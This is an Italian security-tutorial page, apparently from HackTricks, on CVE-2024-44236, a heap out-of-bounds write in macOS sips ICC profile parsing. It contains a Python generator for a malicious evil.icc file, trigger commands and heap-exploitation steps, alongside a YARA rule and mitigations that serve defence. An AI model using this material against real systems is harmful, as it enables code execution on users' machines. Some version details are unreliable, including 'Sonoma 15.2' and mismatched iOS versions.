WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
Una vulnerabilità di zero-write fuori dai limiti nel parser del profilo ICC del Scriptable Image Processing System (sips
) di Apple macOS (macOS 15.0.1, sips-307
) consente a un attaccante di corrompere i metadati dell'heap e di pivotare il primitivo in un'esecuzione di codice completa. Il bug si trova nella gestione del campo offsetToCLUT
dei tag lutAToBType
(mAB
) e lutBToAType
(mBA
). Se gli attaccanti impostano offsetToCLUT == tagDataSize
, il parser cancella 16 byte oltre la fine del buffer dell'heap. Il heap spraying consente all'attaccante di azzerare le strutture dell'allocatore o i puntatori C++ che verranno successivamente dereferenziati, producendo una catena di arbitrary-write-to-exec (CVE-2024-44236, CVSS 7.8).
Apple ha corretto il bug in macOS Sonoma 15.2 / Ventura 14.7.1 (30 ottobre 2024). Una seconda variante (CVE-2025-24185) è stata risolta in macOS 15.5 e iOS/iPadOS 18.5 il 1 aprile 2025.
Codice Vulnerabile
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Passi di Sfruttamento
- Crea un profilo
.icc
malevolo
- Imposta un'intestazione ICC minima (
acsp
) e aggiungi un tagmAB
(omBA
). - Configura la tabella dei tag in modo che
offsetToCLUT
sia uguale alla dimensione del tag (tagDataSize
). - Posiziona i dati controllati dall'attaccante subito dopo il tag in modo che i 16 scritture zero sovrappongano i metadati dell'allocatore.
- Attiva l'analisi con qualsiasi operazione sips che tocchi il profilo
# percorso di verifica (nessun file di output necessario)
sips --verifyColor evil.icc
# o implicitamente durante la conversione di immagini che incorporano il profilo
sips -s format png payload.jpg --out out.png
- Corruzione dei metadati dell'heap ➜ scrittura arbitraria ➜ ROP
Sull'allocatore
nano_zone
predefinito di Apple, i metadati per slot da 16 byte si trovano immediatamente dopo il blocco allineato 0x1000. Posizionando il tag del profilo alla fine di un tale blocco, le 16 scritture zero sovrascrivonometa->slot_B
. Dopo un successivofree
, il puntatore avvelenato viene inserito nella lista di piccole allocazioni libere, consentendo all'attaccante di allocare un oggetto falso a un indirizzo arbitrario e sovrascrivere un puntatore vtable C++ utilizzato da sips, infine deviando l'esecuzione verso una catena ROP memorizzata nel buffer ICC malevolo.
Generatore PoC rapido (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
Regola di rilevamento YARA
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Impatto
L'apertura o l'elaborazione di un profilo ICC creato ad hoc porta all'esecuzione arbitraria di codice remoto nel contesto dell'utente che lo invoca (Preview, QuickLook, rendering di immagini Safari, allegati di Mail, ecc.), eludendo Gatekeeper poiché il profilo può essere incorporato all'interno di immagini altrimenti innocue (PNG/JPEG/TIFF).
Rilevamento e Mitigazione
- Patch! Assicurati che l'host stia eseguendo macOS ≥ 15.2 / 14.7.1 (o iOS/iPadOS ≥ 18.1).
- Distribuisci la regola YARA sopra sui gateway email e sulle soluzioni EDR.
- Rimuovi o sanifica i profili ICC incorporati con
exiftool -icc_profile= -overwrite_original <file>
prima di ulteriori elaborazioni su file non fidati. - Indurire Preview/QuickLook eseguendoli all'interno di VM "sandboxed" di “trasparenza e modernizzazione” quando si analizzano contenuti sconosciuti.
- Per DFIR, cerca l'esecuzione recente di
sips --verifyColor
o caricamenti della libreriaColorSync
da parte di app sandboxed nel log unificato.
Riferimenti
- Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Aggiornamenti di sicurezza Apple HT213981 “Informazioni sul contenuto di sicurezza di macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.